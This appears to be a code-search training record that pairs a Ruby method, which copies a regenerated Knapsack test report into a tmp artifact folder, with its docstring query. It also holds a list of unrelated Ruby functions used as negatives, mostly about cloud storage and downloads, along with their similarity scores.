"def download_prepared_dump id\n name = \"trunk-#{id}.dump\"\n target_path = File.expand_path(\"../../fixtures/#{name}\", __FILE__)\n \n puts \"Accessing prepared DB test snapshot #{id} from S3.\"\n \n require 's3'\n service = S3::Service.new(:access_key_id => access_key_id, :secret_access_key => secret_access_key)\n bucket = service.buckets.find(\"cocoapods-org-testing-dumps\")\n \n # Due to a bug in the s3 gem we are searching for the object via iterating.\n bucket.objects.each do |obj|\n if obj.key == name\n puts \"Downloading prepared DB test snapshot #{id} from S3.\"\n File.open(target_path, 'w') do |file|\n file.write(obj.content)\n end\n break\n end\n end\n \n puts \"Prepared DB test snapshot #{id} downloaded to #{target_path}\"\n end",
"def counter\n Weed::Stats.by_total({ :bucket_id => id })\n end",
"def chi_sq_dist()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::ChiSq_Dist::ChiSqDistRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def fetch\n notify \"Downloading...\"\n @strategy.fetch\n extract\n end",
"def configure_retries bucket_name: nil, file_name: nil\n # The ID of your GCS bucket\n # bucket_name = \"your-unique-bucket-name\"\n\n # The ID of your GCS object\n # file_name = \"your-file-name\"\n\n require \"google/cloud/storage\"\n\n # Creates a client\n storage = Google::Cloud::Storage.new(\n\n # The maximum number of automatic retries attempted before returning\n # the error.\n #\n # Customize retry configuration with the maximum retry attempt of 5.\n retries: 5,\n\n # The total time in seconds that requests are allowed to keep being retried.\n # After max_elapsed_time, an error will be returned regardless of any\n # retry attempts made during this time period.\n #\n # Customize retry configuration with maximum elapsed time of 500 seconds.\n max_elapsed_time: 500,\n\n # The initial interval between the completion of failed requests, and the\n # initiation of the subsequent retrying request.\n #\n # Customize retry configuration with an initial interval of 1.5 seconds.\n base_interval: 1.5,\n\n # The maximum interval between requests. When this value is reached,\n # multiplier will no longer be used to increase the interval.\n #\n # Customize retry configuration with maximum interval of 45.0 seconds.\n max_interval: 45,\n\n # The multiplier by which to increase the interval between the completion\n # of failed requests, and the initiation of the subsequent retrying request.\n #\n # Customize retry configuration with an interval multiplier per iteration of 1.2.\n multiplier: 1.2\n )\n\n # Uses the retry configuration set during the client initialization above with 5 retries\n file = storage.service.get_file bucket_name, file_name\n\n # Maximum retry attempt can be overridden for each operation using options parameter.\n storage.service.delete_file bucket_name, file_name, options: { retries: 4 }\n puts \"File #{file.name} deleted with a customized retry strategy.\"\nend",
"def index\n @operation = request.request_parameters['operation'].blank? ? nil : request.request_parameters['operation']\n @resource_uri = request.request_parameters['resource_uri'].blank? ? nil : request.request_parameters['resource_uri']\n @access_token = request.request_parameters['access_token'].blank? ? nil : request.request_parameters['access_token']\n @aggregation_type = request.request_parameters['aggregation_type'].blank? ? nil : request.request_parameters['aggregation_type']\n @interval_start_time = convert_time(request.request_parameters['interval_start_time'])\n @interval_end_time = convert_time(request.request_parameters['interval_end_time'])\n\n begin\n if !resource_uri.to_s.blank?\n if 'download_data' == operation\n @usage_points = PVImpactGreenButton.download_data(@access_token, @resource_uri, @interval_start_time, @interval_end_time, @aggregation_type.to_i)\n else\n @usage_points = PVImpactGreenButton.retrieve_data(@resource_uri, @interval_start_time, @interval_end_time, @aggregation_type.to_i)\n end\n end\n rescue => e\n @error = e\n p e.backtrace\n end\n end",
"def download(key)\n service(key).download(key)\n end",
"def download_blob\n uuid = SecureRandom.uuid\n path = File.join(Dir.tmpdir, \"template-#{uuid}\")\n\n @logger.debug(\"Downloading job '#{@name}' (#{blobstore_id})...\")\n t1 = Time.now\n\n File.open(path, \"w\") do |f|\n App.instance.blobstores.blobstore.get(blobstore_id, f, sha1: present_model.sha1)\n end\n\n @logger.debug(\"Job '#{@name}' downloaded to #{path} \" +\n \"(took #{Time.now - t1}s)\")\n\n path\n end",
"def download\n \tmedia_type_id = params[:media_type]\n \tlogger.debug \"Download called for media type #{media_type_id}\"\n \toutfile = \"/var/spool/azcams/#{$$}-#{rand(0x100000000).to_s(36)}.pdf\"\n\t\tfiles = current_user.print_jobs.unprinted.by_media_type(media_type_id)\n\t\tlogger.debug \"Job files: #{files.map {|f| f.pdf_file }.join(' ')}\"\n\t\t\n \t# Open the ghostscript command to process the PDF files into one big one\n# \t \tstdin, stdout, stderr = Open3.popen3(\"/usr/bin/gs -dBATCH -dNOPAUSE -dSAFER-q -sDEVICE=pdfwrite -dPDFSETTINGS=/prepress -sOutputFile=- -\")\n# current_user.print_jobs.each do |j|\n# # *Apparently*, this opens the file, reads the whole lot, and sends it to the buffer identified by stdin\n# pdf=File.open(j.pdf_file, 'r')\n# f = pdf.read(nil)\n# stdin.write(f)\n# pdf.close\n# end\n `/usr/bin/gs -dBATCH -dNOPAUSE -dSAFER-q -sDEVICE=pdfwrite -dPDFSETTINGS=/prepress -sOutputFile=#{outfile} #{files.map {|f| f.pdf_file}.join(' ')}`\n\n send_file(outfile, :filename => \"#{current_user.account.name} azCams print task\")\n\t\tfiles.each do |j|\n\t\t\tp=PrintJob.find(j)\n\t\t\tp.printed = true\n\t\t\tp.save\n\t\tend\n\t\tFile.delete(outfile) if File.exist?(outfile)\n\t \t\n end",
"def gs_url(filename)\n\t\tif self.has_file?(filename)\n\t\t\t\"gs://#{self.study.bucket_id}/#{filename}\"\n\t\tend\n\tend",
"def perform(*args)\n\n begin\n logger.info \"************ STARTING refresh coins ******************************************\"\n\n # # grab the main assets from kraken\n assets_json = get_coin_data('https://api.kraken.com/0/public/Assets', '')\n assets_keys = assets_json.keys\n\n\n # grab the asset pairs from kraken\n asset_pairs_json = get_coin_data('https://api.kraken.com/0/public/AssetPairs', '')\n asset_pairs_keys = asset_pairs_json.keys\n\n # grab the market cap and full name from a different source\n market_response = RestClient.get 'https://api.coinmarketcap.com/v1/ticker'\n market_json = JSON.parse(market_response)\n\n\n # loop thru the asset pairs that kraken gives us\n asset_pairs_keys.each do |key|\n\n # wrap every coin in a try catch - if it fails go to the next coin\n begin\n\n asset = {\"pair\" => key, \"base\" => asset_pairs_json[key]['base'], \n \"quote\" => asset_pairs_json[key]['quote']}\n\n # we only want pairs with a USD currency\n # using \"quote\" of ZUSD check to say it is a USD pair - is this a valid check??\n # could alse use a string parse of the last 3 chars and\n # see if it matches USD...\n # ALSO ignore the .d pairs - WHAT ARE THESE???\n # they seem to be duplicates of an existing pair without a .d at the end...\n if (asset['pair'].exclude? \".d\") && (asset['quote'] == \"ZUSD\") \n # && (asset['pair'].exclude? \"X\") #this line is for testing to cut down on our results\n\n # add the alternative name of the base using the asset listing we got\n # matching the asset pair to the asset using the asset key which is the name\n assets_keys.each do |key|\n if asset['base'] == key\n asset['altbase'] = assets_json[key]['altname']\n asset['display_decimals'] = assets_json[key]['display_decimals']\n end\n end\n\n # special case for bitcoin - kraken uses xbt, but everywhere else uses btc, \n # so set that here\n if (asset['altbase'] == 'XBT') \n asset['altbase'] = 'BTC'\n end\n\n # look up the assets compliance in the erc20 table\n erc20 = Erc20.where(symbol: asset['altbase']).first\n if (erc20)\n asset['erc20'] = erc20['flag']\n else\n asset['erc20'] = 'no data' \n end\n\n # lookup the full name of the coin using the list from the ticker - \n # matching based on the altBaseName (since kraken uses its own symbols...)\n market_json.each do |market|\n if market['symbol'] == asset['altbase']\n asset['name'] = market['name']\n asset['marketcap'] = market['market_cap_usd']\n end\n end\n\n\n # save the asset to the db model\n asset_db = Asset.new(pair: key, base: asset['base'], quote: asset['quote'], \n altbase: asset['altbase'], name: asset['name'], marketcap: asset['marketcap'],\n display_decimals: asset['display_decimals'],\n erc20: asset['erc20'])\n\n\n # ok now look up each coin individually and grab the data from kraken\n logger.info '--pulling coin data from kraken -- (' + key + ')' \n\n # grab additional data from kraken\n ticker_json = get_coin_data('https://api.kraken.com/0/public/Ticker?pair=' + key, key)\n\n if (ticker_json != nil)\n asset_db['last_traded'] = ticker_json['c'][0]\n end\n \n # grab the asks and bids info for this coin and add to the coin in the db\n depth_json = get_coin_data('https://api.kraken.com/0/public/Depth?pair=' + key, key)\n\n if (depth_json != nil)\n depth_json['asks'].each do |depth|\n asset_db.asks.build(price: depth[0], volume: depth[1], timestamp: depth[2])\n end\n end\n\n if (depth_json != nil)\n depth_json['bids'].each do |depth|\n asset_db.bids.build(price: depth[0], volume: depth[1], timestamp: depth[2])\n end\n end\n\n # begin\n # grab the spread info for this coin and add/replace it in the db\n spread_json = get_coin_data('https://api.kraken.com/0/public/Spread?pair=' + key, key)\n\n if (spread_json != nil)\n spread_json.each do |spread|\n asset_db.spreads.build(time: spread[0], bid: spread[1], ask: spread[2])\n end\n end\n\n # begin\n # grab the trade info for this coin and add/replace it in the db\n trade_json = get_coin_data('https://api.kraken.com/0/public/Trades?pair=' + key, key)\n\n if (trade_json != nil)\n trade_json.each do |trade|\n asset_db.trades.build(price: trade[0], volume: trade[1], time: trade[2], buysell: trade[3], \n marketlimit: trade[4], misc: trade[5])\n end\n end\n\n # wrap the delete and insert in a transaction so that there is no lag in case there is\n # a request to pull the data in the middle of a delete and insert\n # we are replacing the existing asset pair with the newly fetched/created one\n Asset.transaction do\n # first remove the coin (and child data) from the data before we insert our newly aquired coin info\n Asset.where(pair: key).destroy_all\n asset_db.save\n end\n\n end\n\n # if there is any issue when getting a coins data - usually the response errored or is null\n # then just move on to the next coin\n rescue => error\n logger.error 'SINGLE coin refresh error-----------: ' + key\n logger.error error\n next\n end\n end\n\n logger.info \"*********** FINISHED refresh coins ******************************************\"\n\n # if there is an error grabbing the coin list, then just restart the job \n rescue => error\n logger.error \"GENERAL coin list refresh error: -------------\" \n logger.error error\n raise StandardError.new(\"STANDARD ERROR\")\n end\n\n end",
"def percent_of_queued_jobs_requesting_gpus(available_jobs)\n ((0.15).to_f) * 100\n #(queued_jobs_requesting_gpus.to_f / available_jobs) * 100\n end",
"def commit_time_data\n @buckets\n end",
"def force_download(path, token, method)\n download_folder = ::File.join(Dir.pwd, path.to_s, @file_name.to_s)\n auth_section = (token.to_s == \"\" ? \"\" : \"/a/#{token}\")\n download_url = \"#{Nsrr::WEBSITE}/datasets/#{@dataset_slug}/files#{auth_section}/m/nsrr-gem-v#{Nsrr::VERSION::STRING.gsub(\".\", \"-\")}/#{@full_path.to_s}\"\n download_request = Nsrr::Helpers::DownloadRequest.new(download_url, download_folder)\n download_request.get\n download_success = false\n if download_request.error.to_s == \"\"\n # Check to see if the file downloaded correctly\n # If the file size does not match, attempt one additional download\n download_success = did_download_succeed?(method, path)\n unless download_success\n download_request = Nsrr::Helpers::DownloadRequest.new(download_url, download_folder)\n download_request.get\n download_success = did_download_succeed?(method, path)\n end\n end\n if download_request.error.to_s == \"\" and download_success\n puts \" downloaded\".green + \" #{@file_name}\"\n download_request.file_size\n elsif download_request.error.to_s == \"\"\n puts \" failed\".red + \" #{@file_name}\"\n if method == \"fast\"\n puts \" File size mismatch, expected: #{@file_size}\"\n puts \" actual: #{@latest_file_size}\"\n else\n puts \" File checksum mismatch, expected: #{@file_checksum_md5}\"\n puts \" actual: #{@latest_checksum}\"\n end\n ::File.delete(download_folder) if ::File.exist?(download_folder)\n \"fail\"\n else\n puts \" failed\".red + \" #{@file_name}\"\n puts \" #{download_request.error}\"\n \"fail\"\n end\n end",
"def response_db_vbucket(method, database, vbucket_number, uuid)\n \n #5.times { puts }\n #puts \"#{method} requested [database] /#{database}/#{vbucket_number};#{uuid}\"\n \n if database == XDCR_BUCKET \n return [200]\n else\n return [404]\n end\nend",
"def snapshot_every_n_requests; end",
"def append (sample,k,v,bucket)\n config = sample[:config]\n\n dstype = config[\"#{k}-dstype\"]\n if dstype == \"gauge\" || dstype.nil?\n val = v.to_f\n else\n if !config.has_key?(\"#{k}-last_counter_value\")\n sample[:next][\"#{k}-last_counter_value\"] = v\n return \n end\n last_update = config[\"last_update\"].to_i\n last_counter_value = config[\"#{k}-last_counter_value\"].to_i\n delta_sec = sample[:time] - last_update\n delta_val = v.to_f - last_counter_value\n if delta_val < 0\n val = 0.0/0\n else\n val = delta_val / delta_sec\n end\n sample[:next][\"#{k}-last_counter_value\"] = v\n end\n bucket_file = \"#{config[:dir]}/#{k}-#{bucket}\"\n File.open(bucket_file, \"a\") do |f|\n if !val.nan?\n f.write sample[:time].to_s+\":\"+val.to_s+\"\\n\"\n end\n end\nend",
"def getfile(sum)\n source_path = \"#{@rest_path}md5/#{sum}\"\n file_bucket_file = Puppet::FileBucket::File.indirection.find(source_path, :bucket_path => @local_path)\n\n raise Puppet::Error, \"File not found\" unless file_bucket_file\n file_bucket_file.to_s\n end",
"def knapsack(weights, values, capacity)\n\n end",
"def maximum_bytes_billed\n Integer @gapi.configuration.query.maximum_bytes_billed\n rescue StandardError\n nil\n end",
"def list_prepared_dumps\n require 's3'\n service = S3::Service.new(:access_key_id => access_key_id, :secret_access_key => secret_access_key)\n bucket = service.buckets.find(\"cocoapods-org-testing-dumps\")\n bucket.objects.each do |obj|\n puts obj.key\n end\n end",
"def downloadMetrics\n @concurso = Concurso.find(params[:concurso_id])\n path = File.join(Rails.root, \"data/concursos\",\"contest-\"+@concurso.id.to_s,\"metrics\",\"df.pdf\")\n send_file( path,\n :filename => \"df.pdf\",\n :type => \"application/pdf\",\n :stream => \"false\",\n :disposition =>'attachment') ##download\n #:disposition =>\"inline\") #ver no browser\n end",
"def download\n #require 'debugger'; debugger\n generator = Generator.where(id: params[:id], user_id: current_user.id).first\n send_file TerrainLib::Component.generate JSON.parse(generator.generator_hash)\n end",
"def response_buckets\n RESPONSE_BUCKETS\n end",
"def response_buckets\n RESPONSE_BUCKETS\n end",
"def stocks_path(size)\n \"#{Rails.root}/db/stocks/#{size}.txt\"\n end",
"def attempt_to_distribute(path, response)\n\n status, headers, content = response\n\n if headers['X-Storehouse-Distribute'].to_i > 0\n Storehouse.write_file(path, string_content(content))\n end\n\n [status, headers, content]\n end",
"def partition_usage(host = nil)\n pattern = \"gh.storage.server.usage.percent.\"\n pattern += host ? \"#{host}.*\" : \"*\"\n self.client.keys(pattern).map do |x|\n [x, self.client.get(x).to_f]\n end\n end",
"def download_progguide(prog_guide_url)\n return download_data(\"http://www.channel4.com#{prog_guide_url}\")\n end",
"def bucket_name\n 'ios-ksr-builds'\nend",
"def import_stock_daily\n JdeItemAvailability.checking_stock_daily\n end",
"def num_buckets\n self.store.length\n end",
"def toKitten(**_args)\n bok = {\n \"cloud\" => \"Google\",\n \"credentials\" => @config['credentials'],\n \"cloud_id\" => @cloud_id,\n \"project\" => @project_id\n }\n if !cloud_desc\n MU.log \"toKitten failed to load a cloud_desc from #{@cloud_id}\", MU::ERR, details: @config\n return nil\n end\n bok['name'] = cloud_desc.name\n\n # XXX we can have multiple network interfaces, and often do; need\n # language to account for this\n iface = cloud_desc.network_interfaces.first\n iface.network.match(/(?:^|\\/)projects\\/(.*?)\\/.*?\\/networks\\/([^\\/]+)(?:$|\\/)/)\n vpc_proj = Regexp.last_match[1]\n vpc_id = Regexp.last_match[2]\n\n bok['vpc'] = MU::Config::Ref.get(\n id: vpc_id,\n cloud: \"Google\",\n habitat: MU::Config::Ref.get(\n id: vpc_proj,\n cloud: \"Google\",\n credentials: @credentials,\n type: \"habitats\"\n ),\n credentials: @credentials,\n type: \"vpcs\",\n subnet_id: iface.subnetwork.sub(/.*?\\/([^\\/]+)$/, '\\1')\n )\n\n cloud_desc.disks.each { |disk|\n next if !disk.source\n disk.source.match(/\\/projects\\/([^\\/]+)\\/zones\\/([^\\/]+)\\/disks\\/(.*)/)\n proj = Regexp.last_match[1]\n az = Regexp.last_match[2]\n name = Regexp.last_match[3]\n begin\n disk_desc = MU::Cloud::Google.compute(credentials: @credentials).get_disk(proj, az, name)\n if disk_desc.source_image and disk.boot\n bok['image_id'] ||= disk_desc.source_image.sub(/^https:\\/\\/www\\.googleapis\\.com\\/compute\\/[^\\/]+\\//, '')\n else\n bok['storage'] ||= []\n storage_blob = {\n \"size\" => disk_desc.size_gb,\n \"device\" => \"/dev/xvd\"+(disk.index+97).chr.downcase\n }\n bok['storage'] << storage_blob\n end\n rescue ::Google::Apis::ClientError => e\n MU.log \"Failed to retrieve disk #{name} attached to server #{@cloud_id} in #{proj}/#{az}\", MU::WARN, details: e.message\n next\n end\n \n }\n\n if cloud_desc.labels\n bok['tags'] = cloud_desc.labels.keys.map { |k| { \"key\" => k, \"value\" => cloud_desc.labels[k] } }\n end\n if cloud_desc.tags and cloud_desc.tags.items and cloud_desc.tags.items.size > 0\n bok['network_tags'] = cloud_desc.tags.items\n end\n bok['src_dst_check'] = !cloud_desc.can_ip_forward\n bok['size'] = cloud_desc.machine_type.sub(/.*?\\/([^\\/]+)$/, '\\1')\n bok['project'] = @project_id\n if cloud_desc.service_accounts\n bok['scopes'] = cloud_desc.service_accounts.map { |sa| sa.scopes }.flatten.uniq\n end\n if cloud_desc.metadata and cloud_desc.metadata.items\n bok['metadata'] = cloud_desc.metadata.items.map { |m| MU.structToHash(m) }\n end\n\n # Skip nodes that are just members of GKE clusters\n if bok['name'].match(/^gke-.*?-[a-f0-9]+-[a-z0-9]+$/) and\n bok['image_id'].match(/(:?^|\\/)projects\\/gke-node-images\\//)\n found_gke_tag = false\n bok['network_tags'].each { |tag|\n if tag.match(/^gke-/)\n found_gke_tag = true\n break\n end\n }\n if found_gke_tag\n MU.log \"Server #{bok['name']} appears to belong to a ContainerCluster, skipping adoption\", MU::DEBUG\n return nil\n end\n end\n\n if bok['metadata']\n bok['metadata'].each { |item|\n if item[:key] == \"created-by\" and item[:value].match(/\\/instanceGroupManagers\\//)\n MU.log \"Server #{bok['name']} appears to belong to a ServerPool, skipping adoption\", MU::DEBUG, details: item[:value]\n return nil\n end\n }\n end\n\n\n bok\n end",
"def topn_by_downloads (keyinfo, n)\n topn_by_downloads = keyinfo.sort_by{ |x| x[:total_downloads] }.reverse.slice(0 .. n-1)\n top_table topn_by_downloads\nend"
] |
[
"0.63311225",
"0.59666455",
"0.5818391",
"0.57888836",
"0.551008",
"0.51703316",
"0.5161123",
"0.51274544",
"0.5125504",
"0.5040815",
"0.5039935",
"0.50388086",
"0.49987504",
"0.49857906",
"0.49622244",
"0.49592185",
"0.49359795",
"0.492353",
"0.49170744",
"0.4903087",
"0.48994267",
"0.4897502",
"0.48834196",
"0.4874757",
"0.48692012",
"0.48691976",
"0.4868921",
"0.48660317",
"0.4862061",
"0.48383597",
"0.48242307",
"0.48227277",
"0.48155645",
"0.4807372",
"0.480366",
"0.48032534",
"0.4775055",
"0.47731072",
"0.47681314",
"0.47486517",
"0.4748471",
"0.47431806",
"0.47169894",
"0.4715375",
"0.47125652",
"0.4698586",
"0.46955138",
"0.46943602",
"0.46877027",
"0.46869126",
"0.46708962",
"0.46677247",
"0.46612382",
"0.46605393",
"0.46585384",
"0.46460629",
"0.46426192",
"0.46401992",
"0.46238434",
"0.4618806",
"0.46095195",
"0.46077356",
"0.45966655",
"0.45943946",
"0.4592247",
"0.45869166",
"0.45863453",
"0.45838323",
"0.45788622",
"0.45785236",
"0.45746902",
"0.45715514",
"0.4568301",
"0.45625076",
"0.45573798",
"0.45547277",
"0.45535752",
"0.45524314",
"0.45484397",
"0.4541366",
"0.45279837",
"0.4527201",
"0.4524225",
"0.45235214",
"0.4519962",
"0.45178458",
"0.45163533",
"0.45122075",
"0.45057064",
"0.4503402",
"0.4503402",
"0.45027247",
"0.44972947",
"0.44929445",
"0.44928148",
"0.4492488",
"0.4488669",
"0.4486951",
"0.4486849",
"0.4483173"
] |
0.6491717
|
0
|
Rename and move new regenerated report to a separate folder used to indicate report name
|
def move_regenerated_report
return unless ENV["KNAPSACK_GENERATE_REPORT"] == "true"
tmp_path = "tmp/knapsack/#{report_name}"
FileUtils.mkdir_p(tmp_path)
# Use path from knapsack config in case of fallback to master_report.json
knapsack_report_path = Knapsack.report.report_path
logger.debug("Moving regenerated #{knapsack_report_path} to save as artifact")
FileUtils.cp(knapsack_report_path, "#{tmp_path}/#{ENV['CI_NODE_INDEX']}.json")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generatedReportFolder\n currentData, currentTime = DateTime.now.strftime(\"%Y_%m_%d %H_%M\").split(' ')\n path = \"#{$ROOT}/../output\"\n creatFolder(path)\n path += \"/#{currentData}\"\n creatFolder(path)\n path += \"/#{currentTime}\"\n creatFolder(path)\n path\n end",
"def new_file name\n raise \"Not a Valid Directory\" unless valid_directory?\n\n file_name = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}_#{name}.txt\"\n \"#{output_directory_path}#{file_name}\"\n end",
"def execute()\r\n File.rename(@OldFileName, @NewFileName)\r\n end",
"def rename_out fileName\r\n name = fileName.split('/')[-1]\r\n name = name.split('\\\\')[-1]\r\n return \"Code_From_#{name.gsub(/\\./,'_')}.html\"\r\n end",
"def rename_file\n\n end",
"def create_report\n dir = Dir.pwd\n file_name = \"#{@name}.log\"\n reports_dir = dir + \"/spec/reports\"\n if File.directory? reports_dir\n @spec_report_file = File.open(reports_dir + \"/\" + file_name, 'w')\n @spec_report_file.puts \"WatirmarkLog: \" + @name\n else\n #spec/Reports directory does not exits\n @spec_report_file = nil\n end\n end",
"def rename oldname, newname\n add \"mv #{oldname} #{newname}\", check_file(newname)\n end",
"def create_new_report!\n File.write(report_filename, report_title + report_body)\n end",
"def execute\n\t\t\n\t\tif Dir.exist?(filePath)\n\t\t\tif Dir.exist?(\"#{parent_directory}/#{newname}\")\n\t\t\t\tputs \"-'#{newname}' already exists in this directory\"\n\t\t\telse\n\t\t\t\tFile.rename(filePath, \"#{parent_directory}/#{newname}\")\n\t\t\t\tputs \"-'#{name_of_subject}' was renamed '#{newname}' \\n\"\n\t\t\tend\n\t\telse\n\t\t\tputs \"-'#{name_of_subject}' does not exist in this directory \\n\"\n\t\tend\n\tend",
"def rename(file, newname)\n raise \"Sorry... 'AimsCalc rename' isn't implemented yet.\"\nend",
"def renamed_filename\n @renamed_filename ||= \"CCAZ_WhiteList_#{user.preferred_username}::#{Time.current.to_i}.csv\"\n end",
"def process_report(report)\n file_names = @dangerfile.git.modified_files.map { |file| File.expand_path(file) }\n file_names += @dangerfile.git.added_files.map { |file| File.expand_path(file) }\n report.targets.each do |target|\n target.files = target.files.select { |file| file_names.include?(file.location) }\n end\n\n report\n end",
"def save_report(project_name, hash)\n id = \"report-#{project_name}-#{Time.now.strftime(\"%Y%m%d-%H:%M:%S\")}.md\"\n puts \"Saving mirror report for project #{project_name} to #{id}\"\n File.open(File.join(reports_folder, id), 'w') { |f| f.write(Ow2mirror::Report.generate_mirror(hash)) }\n end",
"def rename(new_name)\n\n self.update_attribute(:name, new_name)\n\n folder = self.get_team_folder\n\n unless folder.nil?\n folder.update_attribute(:name, new_name)\n end\n end",
"def rename(dest)\n @current_template_dest = File.join(File.dirname(@current_template_src), dest)\n end",
"def getfilename()\n current_time = Time.new.strftime(\"%Y-%m-%d\")\n \n # Create filename\n filename = current_time + \"_sprint_update_CS.html\"\n\n # Create folder with all file of sprint update\n foldername = \"History\"\n Dir.mkdir(foldername) unless File.exists?(foldername)\n\n return File.join(\".\", foldername, filename)\nend",
"def rename\n render\n end",
"def rename_file\n @old_path = Rails.root.to_s+'/public/vendorlogos/'+self.id.to_s\n @new_path = Rails.root.to_s+'/public/vendorlogos/'+self.id.to_s+\".\"+self.logo.to_s\n if(File.exists?(@old_path))\n File.rename(@old_path, @new_path)\n end\n end",
"def report\n @report ||= \"#{RESULTS_DIR}/#{GROUP_NAME}-#{Time.now.strftime \"%d-%m-%Y-%H%M\"}.yaml\"\nend",
"def rename(to) File.rename(path, to) end",
"def rename_original_file\n new_path = \"#{CSV_PWD}/old_#{CSV_FILE_NAME}\"\n File.rename(ORIGINAL_FULL_PATH, new_path)\n new_path\n end",
"def action_rename\n if @tpath == nil\n Chef::Log.Fatal \"Target path is empty and need to be set for rename action\"\n elsif (!dir_exists?(@path))\n Chef::Log::Error(\"Source directory #{ @path } doesn't exist; rename action not taken\")\n else\n converge_by(\"rename #{ @new_resource }\") do\n @client.rename(@path, @tpath)\n end\n new_resource.updated_by_last_action(true)\n end\n end",
"def file_update\n File.rename(file_path,\n File.join(File.dirname(file_path),\n File.basename(file_path).gsub(/_\\d+\\.txt/, \"_#{Time.now.to_i}.txt\")))\n end",
"def undo\n\t\tif Dir.exist?(\"#{parent_directory}/#{newname}\")\n\t\t\tif Dir.exist?(filePath)\n\t\t\t\tputs \"-'#{name_of_subject}' already exists in this directory\"\n\t\t\telse\n\t\t\t\tFile.rename(\"#{parent_directory}/#{newname}\", filePath)\n\t\t\t\tputs \"-'#{newname}' was renamed '#{name_of_subject}' \\n\"\n\t\t\tend\n\t\telse\n\t\t\tputs \"-'#{newname}' does not exist in this directory \\n\"\n\t\tend\n\tend",
"def rename\r\n render\r\n end",
"def renamenx(old_name, new_name); end",
"def renamenx(old_name, new_name); end",
"def to_outfile in_dir, orig_filename, out_dir, new_filename\n dir_part = File.dirname( orig_filename.gsub \"#{in_dir}/\", \"\")\n outdir = Pathname.new(out_dir) + dir_part\n FileUtils.mkdir_p outdir unless File.exist? outdir\n outfile = outdir + File.basename(new_filename)\n outfile\nend",
"def seed_report(name)\n path = seed_files.detect { |f| File.basename(f).include?(name) }\n raise \"report #{name.inspect} not found\" if path.nil?\n\n seed_record(path, MiqReport.find_by(:filename => seed_filename(path)))\n end",
"def rename(new_filename)\n @filename = new_filename\n end",
"def generate_report_filename(output_dir)\n FileUtils.mkdir_p(output_dir) unless File.directory?(output_dir)\n File.join(output_dir, Settings.register_druids_job.csv_filename)\n end",
"def new_file\n raise \"Not a Valid Directory\" unless valid_directory?\n\n file_name = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}_#{process}.txt\"\n \"#{output_directory_path}#{file_name}\"\n end",
"def post_rename(old_name,repo,data)\n curl_post(\"#{self.host}/api2/repos/#{repo}/file/?p=#{old_name}\",data).body_str\n end",
"def newfilename( destdir = directory )\n raise ArgumentError, 'Directory required' unless File.directory?( destdir.to_s )\n\n fname = date + '-' + time\n newfname = File.expand_path( fname, destdir ) + ext\n\n # If the file already exists, append a number\n index = 0\n while File.exist?( newfname )\n break if File.identical?( fullpath, newfname )\n newfname = File.expand_path( fname, destdir ) + \"-\" + ( index += 1 ).to_s + ext\n end\n\n newfname\n end",
"def moveOldFile(name)\n return unless File.file?(name)\n\n count = 0\n while true\n count += 1\n nfn = \"#{name}.#{count}\"\n\n if !File.file?(nfn)\n File.rename(name, nfn)\n break\n end\n end\nend",
"def rearrange\n rootpath = \"#{$paths.restore_path}/Student_Records_D20130520/Student_Records\"\n Dir.entries(rootpath).each{|entry|\n if !entry.gsub(/\\.|rb/,\"\").empty?\n Dir.chdir(\"#{rootpath}/#{entry}/SY_2012-2013\")\n if !File.directory?(\"#{rootpath}/#{entry}/SY_2012-2013/Withdrawal\")\n Dir.mkdir(\"#{rootpath}/#{entry}/SY_2012-2013/Withdrawal\")\n end\n Dir.glob('WD_**') do |file|\n #puts File.expand_path(file)\n oldpath = File.expand_path(file)\n FileUtils.mv(\"#{oldpath}\",\"#{rootpath}/#{entry}/SY_2012-2013/Withdrawal\")\n end\n end\n }\n end",
"def rename(old_name, new_name); end",
"def rename(old_name, new_name); end",
"def generate_in(directory)\n migration_path = File.expand_path(\"#{directory}/#{@filename}\")\n File.open(migration_path, 'w') { |f| f.write(render 'geode/templates/model_rename_migration_template.erb') }\n relative_migration_path = Pathname.new(migration_path).relative_path_from(Pathname.pwd).to_s\n puts \"+ Generated migration #{@migration_name} at #{relative_migration_path}\"\n end",
"def rename(fl, sensor, channel, satellite, downlink, tm)\n time_bit = tm.strftime('%y%m%d_%H%M.%S')\n name = \"UAF_AWIPS_#{sensor}-AK_1KM_#{channel}_#{satellite}_#{downlink}_#{time_bit}\"\n FileUtils.mv(fl, name)\n name\n end",
"def gen_filename\n name = @issue[\"created\"].strftime(\"%Y-%m-%d-\") + \n @issue[\"title\"].gsub(/\\W+/, \"_\") +\n \".yaml\"\n n = 1\n while File.exist?(File.join(@dir, name))\n name = File.basename(name, \".yaml\") + \"-\" + n.to_s + \".yaml\"\n n += 1\n end\n\n name\n end",
"def google_rename_file(client)\n old_path = CGI::unescape(@fields[:old_path])\n new_path = CGI::unescape(@fields[:new_path])\n old_src = trim_to_dir_path(old_path) \n new_src = trim_to_dir_path(new_path)\n if old_src != new_src\n # 來源目錄不同\n return {\"errmsg0\" => \"Failure:Source directories are not the same\"}\n else\n # 處理,給定某一個工作路徑,以及新檔案、舊檔案\n old_name = old_path.split('/')[-1]\n new_name = new_path.split('/')[-1]\n notify \"已收到指令:在#{old_src}目錄中,將檔案#{old_name}改名為#{new_name}\"\n client.rename_file_by_path(old_path,new_name)\n end\n\n end",
"def relocate(test_case)\n # temp_fix_for_ascii(test_case)\n file_name = test_case[:material] + \"_\" + test_case[:length] + \"cm*\"\n path_original = \"./\" + file_name\n path_final = @result_dir + test_case[:material] + \"/\" + test_case[:length]\n relocate_cmd = \"find ./ -name '\" + file_name + \"' -exec mv '{}' '\" + path_final + \"/' ';'\"\n make_dir(path_final)\n system(relocate_cmd)\n # if Dir.exists? @output_dir\n # puts \"original path: #{path_original}\"\n # if File.exists? path_original\n # end\n # end\nend",
